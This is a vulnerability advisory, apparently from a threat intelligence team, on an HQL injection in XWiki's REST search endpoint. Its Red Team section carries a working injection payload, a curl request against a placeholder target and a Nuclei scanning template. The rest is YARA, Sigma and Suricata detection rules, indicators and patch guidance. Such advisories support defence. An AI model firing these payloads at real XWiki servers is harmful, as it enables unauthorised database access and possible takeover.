CVE-2025-52472

Executive Summary

CVE-2025-52472 is a critical Hibernate Query Language (HQL) injection vulnerability in XWiki Platform, affecting versions from 4.3-milestone-1 up to (but not including) 16.10.9, 17.4.2, and 17.5.0. The flaw resides in the REST search endpoint, where the orderField parameter is unsafely concatenated into an HQL query. Although the parameter is injected twice (once in the SELECT field list and once in the ORDER BY clause), an attacker can craft a payload that encloses the intermediate query fragment in single quotes, effectively neutralizing the duplicate injection and achieving full HQL injection. Successful exploitation can lead to data exfiltration, authentication bypass, or remote code execution, depending on the database backend and configuration. The CVSS score is 9.8 (Critical), and a public proof-of-concept exists via a Nuclei template.

Supply Chain & Package Security

XWiki is a Java-based platform distributed as a WAR file or via Maven. The vulnerability exists in the core REST module (org.xwiki.platform:xwiki-platform-rest-server). Organizations using XWiki should verify their dependency version and update to a patched release. No known malicious packages have been associated with this CVE, but the supply chain risk is elevated due to the critical nature of the flaw and the lack of workarounds.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is Critical. An unauthenticated attacker can exploit this vulnerability remotely without any user interaction, potentially gaining full control over the XWiki instance and its underlying database.

Deep Dive & Mechanics

The vulnerability is located in the REST search endpoint, typically accessed via /xwiki/rest/wikis/{wikiName}/search. The orderField parameter is used to specify the sorting field for search results. The vulnerable code constructs an HQL query by directly concatenating the user-supplied orderField value into the query string.

The injection occurs in two places within the same query:

1. In the SELECT field list (as a column to select)
2. In the ORDER BY clause

The attacker's payload must account for both injections. The public PoC uses a payload that:

• Injects a subquery or expression in the first position.
• Uses single quotes to close and reopen the query string, effectively removing the intermediate part of the query.
• Ensures the overall query remains syntactically valid.

For example, the payload doc.fullName from XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName is designed to:

• Inject a subquery that returns a value.
• Use $$='$$=... to close the first string and start a new one.
• Use -- comment to comment out the rest of the original query.
• The second injection point (order by doc.fullName) is harmless because the first injection already breaks the query structure.

The result is a fully controllable HQL injection that can be used to extract data, bypass authentication, or execute arbitrary HQL statements.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input into HQL
String hql = "SELECT doc." + orderField + " FROM XWikiDocument doc ORDER BY doc." + orderField;
Query query = session.createQuery(hql);

Patched Code (Conceptual):

// Patched: Use parameterized query or whitelist validation
String hql = "SELECT doc.fullName FROM XWikiDocument doc ORDER BY doc.fullName";
// OR
String hql = "SELECT doc.fullName FROM XWikiDocument doc ORDER BY doc." + sanitize(orderField);
// where sanitize() validates against a whitelist of allowed field names

The patched versions (16.10.9, 17.4.2, 17.5.0) either use a whitelist of allowed orderField values or properly escape/parameterize the input. The exact fix is in the XWiki source code repository.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable XWiki instance (version 4.3-milestone-1 to 16.10.8, or 17.0.0 to 17.4.1, or 17.5.0-rc-1)
• Network access to the REST API endpoint

Exploitation Steps:

1. Identify the target endpoint:

   GET /xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=PAYLOAD
   

2. Craft the HQL injection payload. The public PoC uses:

   doc.fullName from XWikiDocument as doc where $$='$$=concat(chr(61),chr(39)) and version()||pg_sleep(1)=version()||pg_sleep(1) and (1=1 or ?=? or ?=? or ?=? or ?=? or ?=?) -- comment' or a=' order by doc.fullName
   

3. Send the request:

   curl -v "http://target.com/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName"
   

4. Observe the response. A successful injection will result in a 500 error with a stack trace containing QueryException: Exception while executing query. Query statement. This confirms the injection point.

5. Refine the payload for data extraction or RCE. For example, use UNION-based HQL injection to extract data from other tables, or use database-specific functions (e.g., xp_cmdshell on SQL Server, pg_sleep on PostgreSQL) for time-based blind exploitation.

Nuclei Template (from Hacker Arsenal):

id: CVE-2025-52472

info:
  name: XWiki - HQL Injection
  author: ritikchaddha
  severity: high
  description: |
    XWiki is vulnerable to Hibernate Query Language (HQL) injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potentially leading to data extraction, authentication bypass, or remote code execution depending on database backend and configuration.
  impact: |
    Unauthenticated attackers can inject malicious HQL queries through the orderField parameter, potentially leading to complete database compromise, data extraction, authentication bypass, or remote code execution.
  remediation: |
    Update XWiki to a version that patches this vulnerability. Review and sanitize all user-controlled parameters that are used in database queries, especially those passed to HQL queries.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-23247
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-52472
    epss-score: 0.00212
    epss-percentile: 0.43593
    cwe-id: CWE-89
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,hqli,sqli,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/rest/wikis/xwiki/search?q=test&scope=title&orderField=doc.fullName%20from%20XWikiDocument%20as%20doc%20where%20%24%24%3D%27%24%24%3Dconcat(chr(61)%2Cchr(39))%20and%20version()%7C%7Cpg_sleep(1)%3Dversion()%7C%7Cpg_sleep(1)%20and%20(1%3D1%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F%20or%20%3F%3D%3F)%20--%20comment%27%20or%20a%3D%27%20order%20by%20doc.fullName"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki", "QueryException: Exception while executing query. Query statement")'
          - 'contains(content_type, "text/plain")'
          - 'status_code == 500'
        condition: and
# digest: 4a0a004730450220686268d43c5a1d5ae5fd2cc2504493d3188309af54698a568828811cba5472e7022100fd66a50d8af468de1e409cb0a85c164670f6eefa0487ad63fa644e96a1f42678:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor HTTP requests to /xwiki/rest/wikis/*/search with suspicious orderField parameters containing SQL/HQL keywords (e.g., from, where, union, select, sleep, chr, concat).
• Look for 500 error responses containing QueryException in the body.
• Use the provided YARA, Sigma, and Suricata rules for automated detection.

Hunting:

• Search web server logs for requests to the REST search endpoint with unusual orderField values.
• Correlate with database query logs for unexpected HQL statements.
• Check for outbound database connections or unusual data volumes.

Containment:

• If patching is not immediately possible, consider blocking access to the REST search endpoint at the WAF or reverse proxy level.
• Implement a Web Application Firewall (WAF) rule to block requests containing HQL injection patterns in the orderField parameter.
• Restrict network access to the XWiki instance to trusted IPs only.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /xwiki/rest/wikis/*/search with orderField parameter containing HQL keywords.
  • Response status code 500 with body containing QueryException: Exception while executing query. Query statement.
  • Unusual database query patterns (e.g., pg_sleep, WAITFOR DELAY, BENCHMARK).

• File IOCs:

  • XWiki version files indicating a vulnerable version (e.g., version.properties or META-INF/MANIFEST.MF).

• Log IOCs:

  • Web server logs showing requests to the vulnerable endpoint with encoded payloads.
  • Database logs showing unexpected HQL statements.

Detection Engineering

YARA Rule

rule CVE_2025_52472_XWiki_HQL_Injection {
    meta:
        description = "Detects HQL injection attempts against XWiki REST search endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52472"
        severity = "critical"
    strings:
        $hql_keywords = /(from|where|union|select|sleep|chr|concat|pg_sleep|WAITFOR|BENCHMARK)/i
        $endpoint = "/xwiki/rest/wikis/"
        $orderField = "orderField="
    condition:
        $endpoint and $orderField and $hql_keywords
}

Sigma Rule

title: XWiki HQL Injection via orderField Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HQL injection attempts against XWiki REST search endpoint
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-52472
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/xwiki/rest/wikis/"
            - "orderField="
        cs-uri-query|re: '(from|where|union|select|sleep|chr|concat|pg_sleep|WAITFOR|BENCHMARK)'
    condition: selection
falsepositives:
    - Legitimate use of these keywords in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52472 XWiki HQL Injection Attempt"; flow:to_server,established; content:"/xwiki/rest/wikis/"; http_uri; content:"orderField="; http_uri; pcre:"/(from|where|union|select|sleep|chr|concat|pg_sleep|WAITFOR|BENCHMARK)/i"; classtype:web-application-attack; reference:cve,2025-52472; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade XWiki to version 16.10.9, 17.4.2, or 17.5.0 (or later). These versions contain the fix for this vulnerability.
2. Workaround: No official workaround is available. If patching is delayed, consider:
   • Blocking access to the REST search endpoint at the network level.
   • Implementing a WAF rule to filter malicious orderField parameters.
   • Restricting access to the XWiki instance to trusted IPs only.

Long-Term Measures:

• Implement input validation and parameterized queries for all user-controlled inputs in HQL/JPQL queries.
• Conduct regular security audits and penetration testing of web applications.
• Monitor for new CVEs and apply patches promptly.
• Use a Web Application Firewall (WAF) with OWASP Core Rule Set (CRS) to detect and block SQL/HQL injection attempts.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions or further analysis, contact threatintel@valtersit.com.

{/* [Security Hash: 6A6D628CB50F586AAD717723] */}